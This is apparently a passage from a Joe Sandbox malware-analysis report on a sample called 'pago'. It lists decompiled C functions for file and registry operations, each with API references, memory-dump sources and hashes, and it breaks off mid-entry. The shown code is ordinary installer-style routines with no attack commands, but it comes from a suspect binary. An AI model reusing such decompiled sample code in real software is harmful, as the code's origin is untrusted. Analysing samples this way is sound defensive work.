                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: File$AttributesCreate
                                                                  • String ID:
                                                                  • API String ID: 415043291-0
                                                                  • Opcode ID: 080dfadfdaad2818d5b04c51cfada36c475993ea7ffea5996e238fb5a0e3a6c4
                                                                  • Instruction ID: 1030bc0f2bf25390ef9c6131bda9d6cfedcac9e68b753c15eded60bf4a570351
                                                                  • Opcode Fuzzy Hash: 080dfadfdaad2818d5b04c51cfada36c475993ea7ffea5996e238fb5a0e3a6c4
                                                                  • Instruction Fuzzy Hash: 5ED09E31254201AFEF098F20DE16F2E7BA2EB94B04F11552CB786941E0DAB15C199B15
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E00406008(WCHAR* _a4) {
                                                                  				signed char _t3;
                                                                  				signed char _t7;
                                                                  
                                                                  				_t3 = GetFileAttributesW(_a4); // executed
                                                                  				_t7 = _t3;
                                                                  				if(_t7 != 0xffffffff) {
                                                                  					SetFileAttributesW(_a4, _t3 & 0x000000fe); // executed
                                                                  				}
                                                                  				return _t7;
                                                                  			}





                                                                  0x0040600d
                                                                  0x00406013
                                                                  0x00406018
                                                                  0x00406021
                                                                  0x00406021
                                                                  0x0040602a

                                                                  APIs
                                                                  • GetFileAttributesW.KERNELBASE(?,?,00405C0D,?,?,00000000,00405DE3,?,?,?,?), ref: 0040600D
                                                                  • SetFileAttributesW.KERNELBASE(?,00000000), ref: 00406021
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: AttributesFile
                                                                  • String ID:
                                                                  • API String ID: 3188754299-0
                                                                  • Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
                                                                  • Instruction ID: c979a2e86073268fb5c10017c0603d576bb262e7e1663e1e1b2ee048d1a5e24b
                                                                  • Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
                                                                  • Instruction Fuzzy Hash: 34D012725041316FC2102728EF0C89BBF55EF643717014B35F9A5A22F0CB304C638A98
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E00405AEB(WCHAR* _a4) {
                                                                  				int _t2;
                                                                  
                                                                  				_t2 = CreateDirectoryW(_a4, 0); // executed
                                                                  				if(_t2 == 0) {
                                                                  					return GetLastError();
                                                                  				}
                                                                  				return 0;
                                                                  			}




                                                                  0x00405af1
                                                                  0x00405af9
                                                                  0x00000000
                                                                  0x00405aff
                                                                  0x00000000

                                                                  APIs
                                                                  • CreateDirectoryW.KERNELBASE(?,00000000,00403520,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00405AF1
                                                                  • GetLastError.KERNEL32 ref: 00405AFF
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: CreateDirectoryErrorLast
                                                                  • String ID:
                                                                  • API String ID: 1375471231-0
                                                                  • Opcode ID: a5afa482e644e9a10fedfab033ae5dbb8931bf23a9e1c5533d9f8c1a63861871
                                                                  • Instruction ID: 33feed20cbbf131019f18849f7ccc9358209a8d33535326e0157453b6049084a
                                                                  • Opcode Fuzzy Hash: a5afa482e644e9a10fedfab033ae5dbb8931bf23a9e1c5533d9f8c1a63861871
                                                                  • Instruction Fuzzy Hash: 1BC04C30204501AED6105B609E48B177AA4DB50741F16843D6146E41E0DA789455EE2D
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 28%
                                                                  			E732D2B98(void* __ecx, intOrPtr _a4) {
                                                                  				signed int _v8;
                                                                  				void* _t28;
                                                                  				void* _t29;
                                                                  				int _t33;
                                                                  				void* _t37;
                                                                  				void* _t40;
                                                                  				void* _t45;
                                                                  				void* _t49;
                                                                  				signed int _t56;
                                                                  				void* _t61;
                                                                  				void* _t70;
                                                                  				intOrPtr _t72;
                                                                  				signed int _t77;
                                                                  				intOrPtr _t79;
                                                                  				intOrPtr _t80;
                                                                  				void* _t81;
                                                                  				void* _t87;
                                                                  				void* _t88;
                                                                  				void* _t89;
                                                                  				void* _t90;
                                                                  				intOrPtr _t93;
                                                                  				intOrPtr _t94;
                                                                  
                                                                  				if( *0x732d5050 != 0 && E732D2ADB(_a4) == 0) {
                                                                  					 *0x732d5054 = _t93;
                                                                  					if( *0x732d504c != 0) {
                                                                  						_t93 =  *0x732d504c;
                                                                  					} else {
                                                                  						E732D30C0(E732D2AD5(), __ecx);
                                                                  						 *0x732d504c = _t93;
                                                                  					}
                                                                  				}
                                                                  				_t28 = E732D2B09(_a4);
                                                                  				_t94 = _t93 + 4;
                                                                  				if(_t28 <= 0) {
                                                                  					L9:
                                                                  					_t29 = E732D2AFD();
                                                                  					_t72 = _a4;
                                                                  					_t79 =  *0x732d5058;
                                                                  					 *((intOrPtr*)(_t29 + _t72)) = _t79;
                                                                  					 *0x732d5058 = _t72;
                                                                  					E732D2AF7();
                                                                  					_t33 = ReadFile(??, ??, ??, ??, ??); // executed
                                                                  					 *0x732d5034 = _t33;
                                                                  					 *0x732d5038 = _t79;
                                                                  					if( *0x732d5050 != 0 && E732D2ADB( *0x732d5058) == 0) {
                                                                  						 *0x732d504c = _t94;
                                                                  						_t94 =  *0x732d5054;
                                                                  					}
                                                                  					_t80 =  *0x732d5058;
                                                                  					_a4 = _t80;
                                                                  					 *0x732d5058 =  *((intOrPtr*)(E732D2AFD() + _t80));
                                                                  					_t37 = E732D2AE9(_t80);
                                                                  					_pop(_t81);
                                                                  					if(_t37 != 0) {
                                                                  						_t40 = E732D2B09(_t81);
                                                                  						if(_t40 > 0) {
                                                                  							_push(_t40);
                                                                  							_push(E732D2B14() + _a4 + _v8);
                                                                  							_push(E732D2B1E());
                                                                  							if( *0x732d5050 <= 0 || E732D2ADB(_a4) != 0) {
                                                                  								_pop(_t88);
                                                                  								_pop(_t45);
                                                                  								__eflags =  *((intOrPtr*)(_t88 + _t45)) - 2;
                                                                  								if(__eflags == 0) {
                                                                  								}
                                                                  								asm("loop 0xfffffff5");
                                                                  							} else {
                                                                  								_pop(_t89);
                                                                  								_pop(_t49);
                                                                  								 *0x732d504c =  *0x732d504c +  *(_t89 + _t49) * 4;
                                                                  								asm("loop 0xffffffeb");
                                                                  							}
                                                                  						}
                                                                  					}
                                                                  					_t107 =  *0x732d5058;
                                                                  					if( *0x732d5058 == 0) {
                                                                  						 *0x732d504c = 0;
                                                                  					}
                                                                  					E732D2B42(_t107, _a4,  *0x732d5034,  *0x732d5038);
                                                                  					return _a4;
                                                                  				}
                                                                  				_push(E732D2B14() + _a4);
                                                                  				_t56 = E732D2B1A();
                                                                  				_v8 = _t56;
                                                                  				_t77 = _t28;
                                                                  				_push(_t68 + _t56 * _t77);
                                                                  				_t70 = E732D2B26();
                                                                  				_t87 = E732D2B22();
                                                                  				_t90 = E732D2B1E();
                                                                  				_t61 = _t77;
                                                                  				if( *((intOrPtr*)(_t90 + _t61)) == 2) {
                                                                  					_push( *((intOrPtr*)(_t70 + _t61)));
                                                                  				}
                                                                  				_push( *((intOrPtr*)(_t87 + _t61)));
                                                                  				asm("loop 0xfffffff1");
                                                                  				goto L9;
                                                                  			}

























                                                                  0x732d2ba8
                                                                  0x732d2bb9
                                                                  0x732d2bc6
                                                                  0x732d2bda
                                                                  0x732d2bc8
                                                                  0x732d2bcd
                                                                  0x732d2bd2
                                                                  0x732d2bd2
                                                                  0x732d2bc6
                                                                  0x732d2be3
                                                                  0x732d2be8
                                                                  0x732d2bee
                                                                  0x732d2c32
                                                                  0x732d2c32
                                                                  0x732d2c37
                                                                  0x732d2c3c
                                                                  0x732d2c42
                                                                  0x732d2c44
                                                                  0x732d2c4a
                                                                  0x732d2c57
                                                                  0x732d2c59
                                                                  0x732d2c5e
                                                                  0x732d2c6b
                                                                  0x732d2c7e
                                                                  0x732d2c84
                                                                  0x732d2c8a
                                                                  0x732d2c8b
                                                                  0x732d2c91
                                                                  0x732d2c9d
                                                                  0x732d2ca3
                                                                  0x732d2cab
                                                                  0x732d2cac
                                                                  0x732d2caf
                                                                  0x732d2cba
                                                                  0x732d2cbc
                                                                  0x732d2cc8
                                                                  0x732d2cce
                                                                  0x732d2cd6
                                                                  0x732d2d02
                                                                  0x732d2d03
                                                                  0x732d2d05
                                                                  0x732d2d09
                                                                  0x732d2d09
                                                                  0x732d2d10
                                                                  0x732d2ce6
                                                                  0x732d2ce6
                                                                  0x732d2ce7
                                                                  0x732d2cf5
                                                                  0x732d2cfe
                                                                  0x732d2cfe
                                                                  0x732d2cd6
                                                                  0x732d2cba
                                                                  0x732d2d12
                                                                  0x732d2d19
                                                                  0x732d2d1b
                                                                  0x732d2d1b
                                                                  0x732d2d34
                                                                  0x732d2d42
                                                                  0x732d2d42
                                                                  0x732d2bf9
                                                                  0x732d2bfa
                                                                  0x732d2bff
                                                                  0x732d2c03
                                                                  0x732d2c08
                                                                  0x732d2c1c
                                                                  0x732d2c1d
                                                                  0x732d2c1e
                                                                  0x732d2c20
                                                                  0x732d2c25
                                                                  0x732d2c27
                                                                  0x732d2c27
                                                                  0x732d2c2a
                                                                  0x732d2c30
                                                                  0x00000000

                                                                  APIs
                                                                  • ReadFile.KERNELBASE(00000000), ref: 732D2C57
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.905537534.00000000732D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 732D0000, based on PE: true
                                                                  • Associated: 00000000.00000002.905524480.00000000732D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905546264.00000000732D4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905553229.00000000732D6000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_732d0000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: FileRead
                                                                  • String ID:
                                                                  • API String ID: 2738559852-0
                                                                  • Opcode ID: 8556496b55315d6a70f86a0124d8a4ac0e21d36ca608597d797b6b17bcad5469
                                                                  • Instruction ID: f8fee7b55205c6d62d25447f47579b98b6e8b9ec56aee07d3e17eb3bf5968110
                                                                  • Opcode Fuzzy Hash: 8556496b55315d6a70f86a0124d8a4ac0e21d36ca608597d797b6b17bcad5469
                                                                  • Instruction Fuzzy Hash: 0341AEB293430DDFEB12EF65E988B497779EB48316F30C426E409C6144D7F998D0AB90
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 70%
                                                                  			E0040167B() {
                                                                  				int _t7;
                                                                  				void* _t13;
                                                                  				void* _t15;
                                                                  				void* _t20;
                                                                  
                                                                  				_t18 = E00402DA6(0xffffffd0);
                                                                  				_t16 = E00402DA6(0xffffffdf);
                                                                  				E00402DA6(0x13);
                                                                  				_t7 = MoveFileW(_t4, _t5); // executed
                                                                  				if(_t7 == 0) {
                                                                  					if( *((intOrPtr*)(_t20 - 0x28)) == _t13 || E00406873(_t18) == 0) {
                                                                  						 *((intOrPtr*)(_t20 - 4)) = 1;
                                                                  					} else {
                                                                  						E004062FD(_t15, _t18, _t16);
                                                                  						_push(0xffffffe4);
                                                                  						goto L5;
                                                                  					}
                                                                  				} else {
                                                                  					_push(0xffffffe3);
                                                                  					L5:
                                                                  					E00401423();
                                                                  				}
                                                                  				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t20 - 4));
                                                                  				return 0;
                                                                  			}







                                                                  0x00401684
                                                                  0x0040168d
                                                                  0x0040168f
                                                                  0x00401696
                                                                  0x0040169e
                                                                  0x004016aa
                                                                  0x0040292e
                                                                  0x004016be
                                                                  0x004016c0
                                                                  0x004016c5
                                                                  0x00000000
                                                                  0x004016c5
                                                                  0x004016a0
                                                                  0x004016a0
                                                                  0x004022f1
                                                                  0x004022f1
                                                                  0x004022f1
                                                                  0x00402c2d
                                                                  0x00402c39

                                                                  APIs
                                                                  • MoveFileW.KERNEL32(00000000,00000000), ref: 00401696
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: FileMove
                                                                  • String ID:
                                                                  • API String ID: 3562171763-0
                                                                  • Opcode ID: 416424ad14324c56da6b5b470dd69dd800957d04f882025aa34f231cf59109c3
                                                                  • Instruction ID: 97031ceaf8e9c96da62d10e645a43f8a4e886df5684b2e10da682d8a0e9c10a3
                                                                  • Opcode Fuzzy Hash: 416424ad14324c56da6b5b470dd69dd800957d04f882025aa34f231cf59109c3
                                                                  • Instruction Fuzzy Hash: C3F09631A08124E6CB117BA69E4DE5E21549F82364B24063FF011B11D1D9BCC902659E
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 33%
                                                                  			E00402891(intOrPtr __edx, void* __eflags) {
                                                                  				long _t8;
                                                                  				long _t10;
                                                                  				LONG* _t12;
                                                                  				void* _t14;
                                                                  				intOrPtr _t15;
                                                                  				void* _t16;
                                                                  				void* _t19;
                                                                  
                                                                  				_t15 = __edx;
                                                                  				_pop(ds);
                                                                  				if(__eflags != 0) {
                                                                  					_t8 = E00402D84(2);
                                                                  					_pop(_t14);
                                                                  					 *((intOrPtr*)(_t19 - 0x10)) = _t15;
                                                                  					_t10 = SetFilePointer(E0040649D(_t14, _t16), _t8, _t12,  *(_t19 - 0x24)); // executed
                                                                  					if( *((intOrPtr*)(_t19 - 0x2c)) >= _t12) {
                                                                  						_push(_t10);
                                                                  						_push( *((intOrPtr*)(_t19 - 0xc)));
                                                                  						E00406484();
                                                                  					}
                                                                  				}
                                                                  				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t19 - 4));
                                                                  				return 0;
                                                                  			}










                                                                  0x00402891
                                                                  0x00402891
                                                                  0x00402892
                                                                  0x0040289a
                                                                  0x0040289f
                                                                  0x004028a0
                                                                  0x004028af
                                                                  0x004028b8
                                                                  0x004028be
                                                                  0x00402ba1
                                                                  0x00402ba4
                                                                  0x00402ba4
                                                                  0x004028b8
                                                                  0x00402c2d
                                                                  0x00402c39

                                                                  APIs
                                                                  • SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 004028AF
                                                                    • Part of subcall function 00406484: wsprintfW.USER32 ref: 00406491
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: FilePointerwsprintf
                                                                  • String ID:
                                                                  • API String ID: 327478801-0
                                                                  • Opcode ID: 1a69bed114d0c3cb27e295a60469d00fb85b85c1c8bbaab52ea3f411131a6a45
                                                                  • Instruction ID: a13d1cf18dcce6f7d85bed0b4e0fde0de6b16079219dfacd376ffc086bc6f252
                                                                  • Opcode Fuzzy Hash: 1a69bed114d0c3cb27e295a60469d00fb85b85c1c8bbaab52ea3f411131a6a45
                                                                  • Instruction Fuzzy Hash: D3E09271A04105BFDB01EFA5AE499AEB3B8EF44319B10483BF102F00C1DA794D119B2D
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E004063D8(void* __eflags, intOrPtr _a4, short* _a8, int _a12, void** _a16) {
                                                                  				void* _t7;
                                                                  				long _t8;
                                                                  				void* _t9;
                                                                  
                                                                  				_t7 = E00406329(_a4,  &_a12);
                                                                  				if(_t7 != 0) {
                                                                  					_t8 = RegCreateKeyExW(_t7, _a8, 0, 0, 0, _a12, 0, _a16, 0); // executed
                                                                  					return _t8;
                                                                  				}
                                                                  				_t9 = 6;
                                                                  				return _t9;
                                                                  			}






                                                                  0x004063e2
                                                                  0x004063eb
                                                                  0x00406401
                                                                  0x00000000
                                                                  0x00406401
                                                                  0x004063ef
                                                                  0x00000000

                                                                  APIs
                                                                  • RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402E57,00000000,?,?), ref: 00406401
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Create
                                                                  • String ID:
                                                                  • API String ID: 2289755597-0
                                                                  • Opcode ID: f0170b29b94a961cdf0cc122a920c286c7e5b726b195fdee8f598fb45efbb6e4
                                                                  • Instruction ID: ccab944935cfefb85f0e849ce69279fb55db75a3b7fb0960311cd9d36817041a
                                                                  • Opcode Fuzzy Hash: f0170b29b94a961cdf0cc122a920c286c7e5b726b195fdee8f598fb45efbb6e4
                                                                  • Instruction Fuzzy Hash: 04E0E6B2010109BFEF095F90DC0AD7B3B1DE704300F01892EFD06D4091E6B5AD306675
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E004060DF(void* _a4, void* _a8, long _a12) {
                                                                  				int _t7;
                                                                  				long _t11;
                                                                  
                                                                  				_t11 = _a12;
                                                                  				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
                                                                  				if(_t7 == 0 || _t11 != _a12) {
                                                                  					return 0;
                                                                  				} else {
                                                                  					return 1;
                                                                  				}
                                                                  			}





                                                                  0x004060e3
                                                                  0x004060f3
                                                                  0x004060fb
                                                                  0x00000000
                                                                  0x00406102
                                                                  0x00000000
                                                                  0x00406104

                                                                  APIs
                                                                  • WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403498,00000000,0041EA20,000000FF,0041EA20,000000FF,000000FF,00000004,00000000), ref: 004060F3
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: FileWrite
                                                                  • String ID:
                                                                  • API String ID: 3934441357-0
                                                                  • Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
                                                                  • Instruction ID: d8d859634201a592f38c73999a999f352708a9e59580de02994c407fa40ca669
                                                                  • Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
                                                                  • Instruction Fuzzy Hash: FAE08C3220026AABEF109E60DC04AEB3B6CFB00360F014837FA16E7081E270E93087A4
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E004060B0(void* _a4, void* _a8, long _a12) {
                                                                  				int _t7;
                                                                  				long _t11;
                                                                  
                                                                  				_t11 = _a12;
                                                                  				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
                                                                  				if(_t7 == 0 || _t11 != _a12) {
                                                                  					return 0;
                                                                  				} else {
                                                                  					return 1;
                                                                  				}
                                                                  			}





                                                                  0x004060b4
                                                                  0x004060c4
                                                                  0x004060cc
                                                                  0x00000000
                                                                  0x004060d3
                                                                  0x00000000
                                                                  0x004060d5

                                                                  APIs
                                                                  • ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004034E2,00000000,00000000,00403306,000000FF,00000004,00000000,00000000,00000000), ref: 004060C4
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: FileRead
                                                                  • String ID:
                                                                  • API String ID: 2738559852-0
                                                                  • Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
                                                                  • Instruction ID: 1583d2e05e1cff28e3594e7db3f0db2d88eef65457287744bb544c492d9958e5
                                                                  • Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
